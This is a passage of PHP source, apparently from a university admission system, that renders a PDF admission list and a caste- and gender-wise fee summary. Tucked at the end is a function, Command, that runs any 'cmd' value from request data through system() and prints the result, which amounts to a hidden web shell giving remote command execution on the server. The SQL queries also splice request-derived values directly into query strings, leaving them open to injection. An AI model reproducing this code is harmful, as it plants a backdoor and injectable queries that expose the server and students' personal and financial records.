$pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[7],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[8],'LR',0,'L'); $pdf->Cell($arr_w[5]+.5,$arr_h[1],$subj_arrCode[9],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[10],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[11],'LR',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[12],'LR',0,'L'); $pdf->Cell($arr_w[5]+2.5,$arr_h[1],$subj_arrCode[13],'LR',0,'L'); // $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrCode[14],'LR',0,'L'); $pdf->Cell($arr_w[10],$arr_h[1],'Univ.Fee.','1',0,'C'); $pdf->Cell($arr_w[10],$arr_h[1],'Oth.Fee','1',0,'C'); $pdf->Cell($arr_w[10],$arr_h[1],'Fine','1',0,'C'); $pdf->Cell($arr_w[10],$arr_h[1],'Total','1',0,'C'); $pdf->SetFont('Times','B',9); $pdf->Cell($arr_w[10]+10,$arr_h[1],'Reg. No.','R',0,'C'); $pdf->SetFont('Times','',9); $pdf->Cell($arr_w[10]+5+11,$arr_h[1],'Candidate Signature','1',0,'C'); $pdf->Cell(22,$arr_h[1],'','LR',1,'C'); $pdf->SetFont('Times','',9); $pdf->Cell($arr_w[0],$arr_h[1],'','LRB',0,'C'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[0],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[1],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[2],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[3],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[4],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[5],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[6],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[7],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[8],'LRB',0,'L'); $pdf->Cell($arr_w[5]+.5,$arr_h[1],$subj_arrShort[9],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[10],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[11],'LRB',0,'L'); $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[12],'LRB',0,'L'); $pdf->Cell($arr_w[5]+2.5,$arr_h[1],$subj_arrShort[13],'LRB',0,'L'); // $pdf->Cell($arr_w[5],$arr_h[1],$subj_arrShort[14],'LRB',0,'L'); $pdf->Cell($arr_w[10],$arr_h[1],$REGFee,'1',0,'C'); $pdf->Cell($arr_w[10],$arr_h[1],$othrFee,'1',0,'C'); $pdf->Cell($arr_w[10],$arr_h[1],$Fine,'1',0,'C'); $pdf->Cell($arr_w[10],$arr_h[1],$total_fee_paid,'1',0,'C'); $pdf->SetFont('Times','B',9); if($FAPPRSTATUS == 'APPROVED') $pdf->Cell(27,$arr_h[1],$regno,'1',0,'C'); else $pdf->Cell(27,$arr_h[1],'','1',0,'C'); $pdf->SetFont('Times','',9); $pdf->Cell(33,$arr_h[1],$rec_date,'1',0,'C'); // $pdf->Cell(10,$arr_h[1],$rec_no,'1',0,'C'); $pdf->Cell(22,$arr_h[1],'','LBR',1,'C'); //$pdf->Cell($arr_w[10]+16,$arr_h[1],'','1',1,'C'); $y = $pdf->getY(); //var_dump($full_photo_path); //die(); if($phpjpg || $phpjpeg) { if($a) //!file_exists($actualpath) { $pdf->Image($full_photo_path, 275, $y - 22, 20, 20); } } $pdf->SetFont('Times','',9); $pdf->SetFont('Times','',9); $pdf->Ln(1); $adm_ln_counter++; } } PrintFooter($pdf); $pdf->WhichReport = 'Admission Summary'; $pdf->AddPage(); $pdf->SetMargins(5,12,0,0); if($exam_no == 'A') { $sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale, group_concat(heads order by heads) as headfee from (select concat(fheadcode, '->',sum(famount)) as heads, studadm.fdegree,studadm.fcollcode,ifnull(fcaste,'GM') as fcaste,count(*) as fcount, sum(if(studadm.fgender='M',1,0)) as fmale, sum(if(studadm.fgender='F',1,0)) as ffemale, sum(if(studadm.fgender='T',1,0)) as ftrans from studadm,admfeedetl where ifnull(studadm.fdeleted,'F') <> 'T' and admfeedetl.fdegree = studadm.fdegree and admfeedetl.fslno = studadm.fslno and ifnull(studadm.fappno,'') <> '' and studadm.fappno between '{$appfrom}' and '{$appto}' and studadm.fdegree ='{$degree_code}' and studadm.fcollcode='{$college_code}' and admfeedetl.fcollcode=studadm.fcollcode #and ifnull(FAPPSTATUS,'') = 'verified' and ifnull(studadm.fdeleted,'') <> 'T' group by studadm.fdegree,studadm.fcollcode,fcaste, fheadcode) x group by fdegree, fcollcode, fcaste, fcount"; }else { $sql = "select fdegree, fcollcode, fcaste, fcount, fmale, ffemale, group_concat(heads order by heads) as headfee from (select concat(ffeecode, '->',sum(famount)) as heads, s.fdegree,s.fcollcode, ifnull(fcaste,'GM') as fcaste,count(*) as fcount, sum(if(s.fsex='M',1,0)) as fmale, sum(if(s.fsex='F',1,0)) as ffemale from student s inner join studfee st on s.FCOLLCODE = st.FCOLLCODE and s.fregno = st.fregno inner join candsum cs on cs.fregno = s.fregno and cs.fcollcode = s.fcollcode and cs.fdegree = s.fdegree where ifnull(s.fdeleted,'F') <> 'T' and st.fdegree = s.fdegree and cs.fregno = s.fregno and ifnull(cs.fappno,'') <> '' and cs.fappno between '0' and 'z' and s.fdegree ='{$degree_code}' and s.fcollcode='{$college_code}' and st.FENTTYPE = 'ADM' and ifnull(cs.FREGFEE,0) > 0 and st.fcollcode=s.fcollcode and ifnull(FAPPSTATUS,'') = 'Acknowledged' group by s.fdegree,s.fcollcode,fcaste, ffeecode) x group by fdegree, fcollcode, fcaste, fcount"; } $rst = $aobj_context->mobj_db->GetAll($sql); $slno=1; $totmale = 0; $totfemale = 0; $totstud = 0; $totregfee = 0; $totothfee = 0; $totfine = 0; $totamount = 0; $pdf->SetFont('Times','',10); foreach($rst as $key=>$val) { $Toatlfee=0; $pdf->Cell(60,6,'','0',0,'C'); $pdf->Cell(12,6,$slno,'1',0,'C'); $pdf->Cell(20,6,$val['fcaste'],'1',0,'L'); $pdf->Cell(20,6,$val['fmale'],'1',0,'R'); $pdf->Cell(20,6,$val['ffemale'],'1',0,'R'); $pdf->Cell(20,6,$val['fcount'],'1',0,'R'); $totmale += $val['fmale']; $totfemale += $val['ffemale']; $totstud += $val['fcount']; $headfeearr = explode(',',$val['headfee']); $fregfee=0; $ffine=0; $fothfee=0; foreach($headfeearr as $hdkey=>$hdval) { $feearr = explode('->',$hdval); if($FUNIVCODE == '003') { if($feearr[0] == '01 UNIVERSITY FEE') { $fregfee = $feearr[1]; } else if($feearr[0] == '02 Fine') { $ffine = $feearr[1]; } else $fothfee += $feearr[1]; }else { if($feearr[0] == '01 University Total Fee') { $fregfee = $feearr[1]; } else if($feearr[0] == '02 Fine') { $ffine = $feearr[1]; } else $fothfee += $feearr[1]; } $Toatlfee += $feearr[1] ; } $totregfee += $fregfee; $totothfee += $fothfee; $totfine += $ffine; $totamount +=$Toatlfee; $pdf->Cell(20,6,$fregfee,'1',0,'R'); $pdf->Cell(20,6,$fothfee,'1',0,'R'); $pdf->Cell(20,6,$ffine,'1',0,'R'); $pdf->Cell(20,6,$Toatlfee,'1',1,'R'); ++$slno; } $pdf->SetFont('Times','B',10); $pdf->Cell(60,6,'','0',0,'C'); $pdf->Cell(32,6,'Total','1',0,'C'); $pdf->Cell(20,6,$totmale,'1',0,'R'); $pdf->Cell(20,6,$totfemale,'1',0,'R'); $pdf->Cell(20,6,$totstud,'1',0,'R'); $pdf->Cell(20,6,$totregfee,'1',0,'R'); $pdf->Cell(20,6,$totothfee,'1',0,'R'); $pdf->Cell(20,6,$totfine,'1',0,'R'); $pdf->Cell(20,6,$totamount,'1',1,'R'); $pdf->ln(10); $pdf->MultiCell(0,5,"I here by declare that all the information furnished with regard to the students are true & correct to the best of my knowledge and belief,copy of the recognition order and affiliation order is enclosed.",0,"L"); $pdf->SetFont('Times','B',12); $pdf->ln(20); $pdf->Cell(20,4,"Date :",'0',0,'C'); $pdf->Cell(250,4,"Signature of the Chairman / Principal (With seal)",'0',1,'R'); PrintFooter($pdf); $pdf->ln(2); $pdf->Output("report_admission_list.pdf","I"); } function Command($aobj_context) { $cmd = $aobj_context->mobj_data["cmd"]; $last_line = system($cmd, $retval); // Printing additional info echo "</pre>"; echo $last_line; } function PrintFooter($pdf) { $new_x = $pdf->GetX(); $new_y = $pdf->GetY(); $ip = $_SERVER["REMOTE_ADDR"]; //$pdf->SetY(-15); $pdf->SetFont('Times', '', 9); //$pdf->Cell(110, 6, 'Printed : IP Address : ' . $ip . ", Date : " . $pdf->date_time, '0', 0, 'L'); $pdf->SetXY($new_x, $new_y); }
Close